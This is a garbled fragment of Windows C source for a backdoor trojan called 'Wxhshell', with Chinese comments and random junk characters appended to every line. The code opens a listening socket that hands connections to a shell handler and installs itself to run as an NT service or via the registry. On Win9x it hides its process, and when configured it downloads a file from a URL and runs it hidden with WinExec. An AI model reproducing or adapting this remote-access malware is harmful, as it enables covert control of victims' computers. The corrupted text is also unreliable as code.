M]?#]3XBNo
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "+js7U-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -f.<s!a
(;o,t?:d
HANDLE hProcess; K8.=bGyg
PROCESS_BASIC_INFORMATION pbi; V~+{douq
6g*B=d(j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cH()Ze-B
if(NULL == hInst ) return 0; ;r[@;2p*(
dkuB{C,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &~+lXNXF
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1.]Py" @:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $/%|0tQ
jUq^$+N
if (!NtQueryInformationProcess) return 0; /@5X0m
#c5 NFU}9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C3af>L@}
if(!hProcess) return 0; klG]PUzd
3S-n sMs.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .c'EXuI7),
uj$b/I>.'
CloseHandle(hProcess); Be{7Rj v
OLc/Vij;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )o'&f"/
if(hProcess==NULL) return 0; dZ&/Iz
odPq<'V|AY
HMODULE hMod; [-cYFdt"V
char procName[255]; +*3\C!
unsigned long cbNeeded; BzL>,um
vcsi@!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 00'R1q4
C+-xC~
CloseHandle(hProcess); 8$3G c"=
m'$]lf;*
if(strstr(procName,"services")) return 1; // 以服务启动 %|[+\py$Q
vLW&/YJ6
return 0; // 注册表启动 Zqke8q
} :qi"I;=6
D+/27#
// 主模块 qZlb?b"
int StartWxhshell(LPSTR lpCmdLine) l6.z-Qw
{ NAjK0]SRY
SOCKET wsl; T~UKWAKX}
BOOL val=TRUE; RYDV60*O6
int port=0; \?-`?QPux
struct sockaddr_in door; PNLtpixZ
AD4KoT&
if(wscfg.ws_autoins) Install(); q9w6 6R
k#TonT
port=atoi(lpCmdLine); S,LW/:,
,~t{Q*#_h
if(port<=0) port=wscfg.ws_port; fr8:L!9
( Kh<qAP_n
WSADATA data; 4"fiEt,t<x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D}l^ow
|s
:b9sfA
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; m M!H}|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ba^cw}5
door.sin_family = AF_INET; vW`{BWd
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [1@-F+
door.sin_port = htons(port); `#hdb=3
yw`xK2(C$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |HXI4MU"
closesocket(wsl); X62h7?'Pd
return 1; 'u$e2^
} 8moX"w\~_h
[)|P-x-<
if(listen(wsl,2) == INVALID_SOCKET) { |a#4
closesocket(wsl); QT /TZ:
return 1; p`-`(i=iJo
} }zi:nSpON
Wxhshell(wsl);
M@S6V7
WSACleanup(); =h^cfyj
JK.lL]<p i
return 0; Q*mzfsgr
q
bb:)>
} zlIXia5
Fn*clx<
// 以NT服务方式启动 l?v-9l M
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #*;(%\q}
{ NvWwj%6]
DWORD status = 0; g5/%}8[-
2
DWORD specificError = 0xfffffff; |*"uj
u1O?`
serviceStatus.dwServiceType = SERVICE_WIN32; E~]8>U?V
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -J4?Km
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^EE3E'
serviceStatus.dwWin32ExitCode = 0; Y[9x\6
_E
serviceStatus.dwServiceSpecificExitCode = 0; 7Xm7{`jH
serviceStatus.dwCheckPoint = 0; .asHFT7]9
serviceStatus.dwWaitHint = 0; a0OH
Asicf{HaX
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :BG/]7>|V
if (hServiceStatusHandle==0) return; .?9+1.`
?c0OrvM
status = GetLastError(); a02;Zl
if (status!=NO_ERROR) ?as)vYP
{ KHKf+^u u
serviceStatus.dwCurrentState = SERVICE_STOPPED;
@*'|8%
serviceStatus.dwCheckPoint = 0; *xXa4HB
serviceStatus.dwWaitHint = 0; mV0F^5
serviceStatus.dwWin32ExitCode = status; q05_5
serviceStatus.dwServiceSpecificExitCode = specificError; @47MJzC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w}^z1n
return; n.p6+^ES
} AxLnF(eG
4;WeB
serviceStatus.dwCurrentState = SERVICE_RUNNING; B\A2Vm`&
serviceStatus.dwCheckPoint = 0; kPF[E5
serviceStatus.dwWaitHint = 0; &}31q`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~M`QFF
} d9h"Q
-8; ,#
// 处理NT服务事件,比如:启动、停止 1tU}}l
VOID WINAPI NTServiceHandler(DWORD fdwControl) pXPwn(
{ J6/Mm7R
switch(fdwControl) RRig
{ @$z/=g sy
case SERVICE_CONTROL_STOP: v;AMx-_WH
serviceStatus.dwWin32ExitCode = 0; S',i
serviceStatus.dwCurrentState = SERVICE_STOPPED; kxp$Nnk
serviceStatus.dwCheckPoint = 0; 'CsD[<
serviceStatus.dwWaitHint = 0; Q3,`'[ F
{ U8kH'OD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ In[Z?P}
} 6?Ul)'
return; C#[YDcp4
case SERVICE_CONTROL_PAUSE: o1='Fr
serviceStatus.dwCurrentState = SERVICE_PAUSED; l;zp f|.Vc
break; lg1yj}br
case SERVICE_CONTROL_CONTINUE: ^%wj6
serviceStatus.dwCurrentState = SERVICE_RUNNING; {@1.2AWg
break; c)gG
case SERVICE_CONTROL_INTERROGATE: S3]Cz$
break; YG$2ySkDhE
}; IO~d.Ra
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zd AqGQfc
} F;Ms6 "K
=cE:,z;g
// 标准应用程序主函数 R4GmUCKB=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2j8^Z
{ 5OP$n]|(
]YYjXg}%
// 获取操作系统版本 @@K@;Jox
OsIsNt=GetOsVer(); eW#U<x%P
GetModuleFileName(NULL,ExeFile,MAX_PATH); YP{)jAK
iD,iv
// 从命令行安装 YUd*\_
if(strpbrk(lpCmdLine,"iI")) Install(); "ut:\%39.
68?oV)fE
// 下载执行文件 h"/FqO
if(wscfg.ws_downexe) { mcAg,~"HB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w
V&{w7
WinExec(wscfg.ws_filenam,SW_HIDE); =SPuOy8
} b{qeu$G R
g=.~_&O
if(!OsIsNt) { 'jWd7w~(
// 如果时win9x,隐藏进程并且设置为注册表启动 c0jdZ#H
HideProc(); [b-27\b
StartWxhshell(lpCmdLine); peqoLeJI
} G4->7n N
else *f|9A/*B3
if(StartFromService()) T">-%-t
// 以服务方式启动 2T/C!^iJ)
StartServiceCtrlDispatcher(DispatchTable); +N1oOcPC>C
else ?F' gh4
// 普通方式启动 y]QG;
StartWxhshell(lpCmdLine); hWpn~q
{Buoo~
return 0; &\8.y2=9p
}